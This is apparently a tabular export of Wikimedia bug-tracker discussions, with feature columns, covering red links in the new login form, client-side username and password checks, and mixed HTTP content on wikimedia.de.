Yes, but that would be only a partial fix of the problem. Anyway, it's clear that Steven is the only person believing such pages must be forced down the throat of all wikis.",,,1367220727,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,2.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,10.0,2.0,2.0,12.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4489795918367347,0.8367346938775511,"(In reply to comment #3)
QUOTE

Yes, but that would be only a partial fix of the problem. Anyway, it's clear that Steven is the only person believing such pages must be forced down the throat of all wikis."
210203,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,This seems related to bug 47704.,,,1367193931,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,This seems related to bug 47704.
210197,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #1)
> we are leaving the red links in and encouraging people to either edit the
> message locally or simply redirect the links to the appropriate title.

Annoying users to poke sysops is not the way, nor poking the sysops to fix something that is broken in most cases: please fix the interface.",,,1367176754,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,0.0,2.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,3.5476190476190474,0.7857142857142857,"(In reply to comment #1)
QUOTE
QUOTE

Annoying users to poke sysops is not the way, nor poking the sysops to fix something that is broken in most cases: please fix the interface."
210191,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

(In reply to comment #0)
> The new UserLogin shows red links everywhere. I assume this was done to
> compensate the removal of the wall of text on en.wiki, but it's not nice: on
> most wikis those help pages won't exist and are not needed (username policy),
> or are needed but shouldn't exist locally (logging in; bug 43591), or exist
> but
> under another title (every Wikipedia except en.wiki; it.wiki has been fixed,
> fr.wiki not yet, most Wikipedias will never be fixed).
> 
> Simple solution: kill the links (e.g. createacct-helpusername-link) and leave
> them to customisations of the preceding messages (e.g. userlogin-yourname),
> which need to parse links and also some HTML if the grey is absolutely
> needed,
> and possibly to be copied to a new key if they're recycled from previous
> interface.
> 
> Complex solution: identify if the page exist and don't link it if it doesn't
> and/or link to MediaWiki.org, e.g.
> https://www.mediawiki.org/wiki/Help:Logging_in .

As noted in https://www.mediawiki.org/wiki/Account_creation_user_experience/Testing#Things_to_pay_attention_to_while_testing_both_interfaces we are leaving the red links in and encouraging people to either edit the message locally or simply redirect the links to the appropriate title. This is why redirects were invented. Most of these links, like the ones to basic help pages about login and signing up, exist on most of our projects in some form. For third party users, it's one of several things they may need to customize.",,,1367176032,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,1.5,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,12.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,2.5,0.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,12.5,0.5,2.5,5.5,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,2.5,12.0,8.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,1.5,0.0,1.5,0.0,3.551690079016681,0.6088674275680421,"**swalling** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As noted in URL we are leaving the red links in and encouraging people to either edit the message locally or simply redirect the links to the appropriate title. This is why redirects were invented. Most of these links, like the ones to basic help pages about login and signing up, exist on most of our projects in some form. For third party users, it's one of several things they may need to customize."
49685,Add password and username checking JS to core login and signup forms,"**Author:** `usermono`

**Description:**
ENWP had a nice little JS feature that checked the username and password against existing usernames and bad passwords. This was already written & isn't that hard to do, so it should be implemented into the ACUX deployment.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1366932480,1386358113.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-juicavicgigcja5xpjqk,task_description,resolved,True,c2,1,False,False,False,-18,True,0.0,0.0,0.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,1.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,12.0,1.0,4.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,5.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9863013698630136,0.6986301369863014,"**Author:** CODE

**Description:**
ENWP had a nice little JS feature that checked the username and password against existing usernames and bad passwords. This was already written & isn't that hard to do, so it should be implemented into the ACUX deployment.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
228703,Add password and username checking JS to core login and signup forms,"**swalling** wrote:

I think this is a duplicate of 17544?

%%%*** This bug has been marked as a duplicate of bug 17544 ***%%%",,,1386358113,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.5853658536585367,0.5121951219512195,"**swalling** wrote:

I think this is a duplicate of 17544?

%%%*** This bug has been marked as a duplicate of bug 17544 ***%%%"
228697,Add password and username checking JS to core login and signup forms,"**swalling** wrote:

(In reply to comment #4)
> Bumping priority. Having to re-enter the passwords and solve a captcha for
> each
> attempt to find a good username is not very user-friendly. I observed
> somebody
> giving up registration because of that very recently, and suspect this is not
> that rare. We want those new editors, so lets not make it harder than
> necessary.

To explain more...

The version Mono refers to was a test version of clientside validation. The A/B test results were pretty good (+4% bump in registrations, which on enwiki alone would be 2-3,000 additional registrations a month). 

However, this wasn't good enough for the targets we set (https://www.mediawiki.org/wiki/Account_creation_user_experience/Launch). We set a high standard for how much improvement we wanted in conversion, because with one developer on the project our time was limited. 

S Page can chime in more, but the main thing that made creating complete clientside validation a major pain was the presence of extensions like AntiSpoof and Titleblacklist. More at bug 40648. If it wasn't for the blockers in that bug, we could have potentially implemented a simple but effective username/password validation system already.",,,1386357885,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,0.5,0.0,0.0,0.0,1.0,8.5,3.0,0.5,0.0,0.5,3.0,1.0,0.0,0.0,0.0,2.5,0.0,4.5,10.5,0.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.5,0.0,14.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,3.5,12.0,1.5,1.5,8.0,0.0,0.0,0.0,0.5,2.5,0.0,2.5,0.0,3.0,10.5,6.5,0.0,0.0,0.0,3.0,0.0,1.5,2.5,0.0,0.5,1.5,0.0,0.0,3.994565217391304,0.7228260869565217,"**swalling** wrote:

(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To explain more...

The version Mono refers to was a test version of clientside validation. The A/B test results were pretty good (+4% bump in registrations, which on enwiki alone would be 2-3,000 additional registrations a month). 

However, this wasn't good enough for the targets we set (URL We set a high standard for how much improvement we wanted in conversion, because with one developer on the project our time was limited. 

S Page can chime in more, but the main thing that made creating complete clientside validation a major pain was the presence of extensions like AntiSpoof and Titleblacklist. More at bug 40648. If it wasn't for the blockers in that bug, we could have potentially implemented a simple but effective username/password validation system already."
228692,Add password and username checking JS to core login and signup forms,"Bumping priority. Having to re-enter the passwords and solve a captcha for each attempt to find a good username is not very user-friendly. I observed somebody giving up registration because of that very recently, and suspect this is not that rare. We want those new editors, so lets not make it harder than necessary.",,,1386357141,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,2.0,2.0,3.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,12.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,3.0,6.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,4.125,0.796875,"Bumping priority. Having to re-enter the passwords and solve a captcha for each attempt to find a good username is not very user-friendly. I observed somebody giving up registration because of that very recently, and suspect this is not that rare. We want those new editors, so lets not make it harder than necessary."
228687,Add password and username checking JS to core login and signup forms,"I'm removing this as a blocker.  As Steven said, it's good functionality we would like to have at some point.

However:

* It does not block rolling out to Commons.  It's already at https://commons.wikimedia.org/wiki/Special:UserLogin?useNew=1 as opt-in, and this doesn't block making it permanent (though there are other things that need to be confirmed).
* It is not on English Wikipedia any more (when it was, it was temporary code in an extension), so it's not an enwiki-only enhancement.",,,1366933295,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,1.5,0.0,0.0,1.0,3.5,5.0,2.0,0.0,1.0,0.0,3.5,1.5,0.0,1.0,1.0,1.0,0.0,6.0,8.5,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,0.0,6.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,4.5,0.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,2.5,4.5,7.0,2.0,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.0,8.5,3.0,0.0,0.0,0.0,7.0,0.0,2.0,2.5,0.0,2.0,1.0,0.0,0.0,3.3962264150943398,0.8018867924528302,"I'm removing this as a blocker.  As Steven said, it's good functionality we would like to have at some point.

However:

* It does not block rolling out to Commons.  It's already at URL as opt-in, and this doesn't block making it permanent (though there are other things that need to be confirmed).
* It is not on English Wikipedia any more (when it was, it was temporary code in an extension), so it's not an enwiki-only enhancement."
228680,Add password and username checking JS to core login and signup forms,"**swalling** wrote:

This was a part of our testing, but was expensive to build at the time. If you read the spec (https://www.mediawiki.org/wiki/Account_creation_user_experience/Launch) you can see why we made this call.

This enhancement is nice, but even with the work on the account creation API by Brion, is not simple to design, test, and build. To be frank, this project has gone on a looong time, and it may be time to just defer this change in favor of more pressing experimental work.",,,1366932846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,5.0,3.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.5,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,3.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,14.5,0.5,3.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,4.0,4.5,5.0,1.0,3.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.5,1.5,0.0,0.0,0.0,3.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,3.392156862745098,0.7647058823529411,"**swalling** wrote:

This was a part of our testing, but was expensive to build at the time. If you read the spec (URL you can see why we made this call.

This enhancement is nice, but even with the work on the account creation API by Brion, is not simple to design, test, and build. To be frank, this project has gone on a looong time, and it may be time to just defer this change in favor of more pressing experimental work."
228673,Add password and username checking JS to core login and signup forms,"The new forms are now in core, but these checks were not included in the initial version.",,,1366932714,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,5.0,5.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.9473684210526315,"The new forms are now in core, but these checks were not included in the initial version."
49653,wikimedia.de via HTTPS loads resources over HTTP,"When I visit <https://wikimedia.de/wiki/Hauptseite>, there are a few resources coming in via HTTP, causing my Web browser to throw warnings.

<img alt="""" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Wikidata-logo-en.svg/170px-Wikidata-logo-en.svg.png"" width=""170"" height=""120"" />

<img alt=""Wikipedianer auf Exkursion im Kirchenarchiv Kaufbeuren. Foto: Benutzerin:Elya, CC-BY-SA 3.0"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/09/GLAM-Aktivisten_im_Kirchenarchiv_Kaufbeuren_04.JPG/170px-GLAM-Aktivisten_im_Kirchenarchiv_Kaufbeuren_04.JPG"" width=""170"" height=""128"" />

<img alt=""Logo von Wikivoyage"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Wikivoyage-logo-en-TTO-attempt.svg/170px-Wikivoyage-logo-en-TTO-attempt.svg.png"" width=""170"" height=""180"" />

[a bunch of other images ...]

<img src=""http://i.creativecommons.org/l/by-sa/3.0/88x31.png"" alt=""Attribution-Share Alike 3.0 Unported"" width=""88"" height=""31"" />

<img src=""http://secure.wikimedia.de/piwik/piwik.php?idsite=2"" style=""border:0"" alt=""""/>

This is probably the not the best place to report this issue, but I couldn't find a better place and I figured some of the German Wikimedians can be copied on this bug report and can forward this issue as necessary and appropriate.

--------------------------
**Version**: 1.20.x
**Severity**: normal",Medium,50.0,1366906500,1369479390.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-qpbn6wpatwoooedw42lf,task_description,resolved,True,c2,1,True,False,True,-18,True,1.0,0.0,0.0,0.5,1.0,5.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,2.5,0.0,2.0,4.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.5,2.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,13.0,0.5,2.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.5,4.5,11.5,0.0,7.0,0.0,2.5,0.0,0.5,1.5,0.0,1.0,1.0,0.5,9.5,3.988888888888889,0.6666666666666666,"When I visit <URL there are a few resources coming in via HTTP, causing my Web browser to throw warnings.

<img alt="""" src=""URL width=""170"" height=""120"" />

<img alt=""Wikipedianer auf Exkursion im Kirchenarchiv Kaufbeuren. Foto: Benutzerin:Elya, CC-BY-SA 3.0"" src=""URL width=""170"" height=""128"" />

<img alt=""Logo von Wikivoyage"" src=""URL width=""170"" height=""180"" />

[a bunch of other images ...]

<img src=""URL alt=""Attribution-Share Alike 3.0 Unported"" width=""88"" height=""31"" />

<img src=""URL style=""border:0"" alt=""""/>

This is probably the not the best place to report this issue, but I couldn't find a better place and I figured some of the German Wikimedians can be copied on this bug report and can forward this issue as necessary and appropriate.

--------------------------
**Version**: 1.20.x
**Severity**: normal"
226838,wikimedia.de via HTTPS loads resources over HTTP,"Change 61390 abandoned by Siebrand:
(bug 47653) Processing foreign API files protocol-relative

Reason:
I'm abandoning this patch set as it's been open for a long time without any outlook at the open issues being resolved. 

If the submitter or anyone else would like to work on it again, this patch set can be re-activated by clicking ""Restore Change"". Please only do this if you are actually going to work on it immediately.

https://gerrit.wikimedia.org/r/61390",,,1396723471,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,3,False,,,31,True,1.0,1.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,1.0,2.0,5.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,12.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,5.0,14.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.9361702127659575,0.776595744680851,"Change 61390 abandoned by Siebrand:
(bug 47653) Processing foreign API files protocol-relative

Reason:
I'm abandoning this patch set as it's been open for a long time without any outlook at the open issues being resolved. 

If the submitter or anyone else would like to work on it again, this patch set can be re-activated by clicking ""Restore Change"". Please only do this if you are actually going to work on it immediately.

GERRIT_URL"
226831,wikimedia.de via HTTPS loads resources over HTTP,"(In reply to comment #6)
> Patch needs rework.

More than that, Anomie said ""Your analysis of the problem in the commit summary is not correct"". This bug is indeed misleading and is a duplicate of something the reporter already reported previously and that I had already clarified as bug 48133.

*** This bug has been marked as a duplicate of bug 48133 ***",,,1369479390,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-14,True,0.0,1.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,13.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,17.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,11.0,1.0,3.0,11.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,3.0,13.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.723684210526316,0.6710526315789473,"(In reply to comment #6)
QUOTE

More than that, Anomie said ""Your analysis of the problem in the commit summary is not correct"". This bug is indeed misleading and is a duplicate of something the reporter already reported previously and that I had already clarified as bug 48133.

*** This bug has been marked as a duplicate of bug 48133 ***"
226826,wikimedia.de via HTTPS loads resources over HTTP,Patch needs rework.,,,1368452302,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Patch needs rework.
226821,wikimedia.de via HTTPS loads resources over HTTP,Related URL: https://gerrit.wikimedia.org/r/61390 (Gerrit Change Id40186d10019a77f8b827a6a67982d40f3e97f11),,,1367251100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id40186d10019a77f8b827a6a67982d40f3e97f11)
226819,wikimedia.de via HTTPS loads resources over HTTP,"The protocol type that has been used to get the file info from commons.wikimedia.org gets cached by the parser cache. This will happen vice versa, if the parser caches when requesting with https.

I customized the ForeignAPIRepo for commons to always use the secure protocol when requesting the commons API, but changing ForeignAPIRepo::getThumbUrl() to strip the protocol and make the src attribute protocol-relative seems to be the solution here.

I will provide a patch this weekend.

@MZMcBride: The other images that are not provided by commons were also changed to protocol-relative.",,,1367008264,,PHID-USER-viklzrmg5ah3vrnymwin,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,2.5,1.0,3.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,5.5,7.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,15.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,2.5,0.0,8.0,3.5,6.0,1.5,2.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.5,7.0,2.0,0.0,0.0,0.0,1.5,0.0,2.5,1.0,0.0,2.0,0.0,0.0,0.0,4.648148148148148,0.7962962962962963,"The protocol type that has been used to get the file info from commons.wikimedia.org gets cached by the parser cache. This will happen vice versa, if the parser caches when requesting with https.

I customized the ForeignAPIRepo for commons to always use the secure protocol when requesting the commons API, but changing ForeignAPIRepo::getThumbUrl() to strip the protocol and make the src attribute protocol-relative seems to be the solution here.

I will provide a patch this weekend.
SCREEN_NAME: The other images that are not provided by commons were also changed to protocol-relative."
226817,wikimedia.de via HTTPS loads resources over HTTP,"p858snake: What is ""upstream"" here???

(In reply to comment #2)
> @Sam: WMDE doesn't have a bug tracker for stuff like this, perhaps we could
> just get a product here? 

Please file a separate ticket to discuss this.",,,1366975809,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,3.0,3.0,0.0,0.0,9.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.176470588235294,0.7941176470588235,"p858snake: What is ""upstream"" here???

(In reply to comment #2)
QUOTE
QUOTE

Please file a separate ticket to discuss this."
226814,wikimedia.de via HTTPS loads resources over HTTP,"I have passed on responsibility for this a while ago, but i'll try to poke the relevant people, and help them fix it (I'm pretty sure this was my mistake).

Adding Silke Meyer (who is technically responsible) and Kai Nissen (who has been managing the site).

@Sam: WMDE doesn't have a bug tracker for stuff like this, perhaps we could just get a product here? 

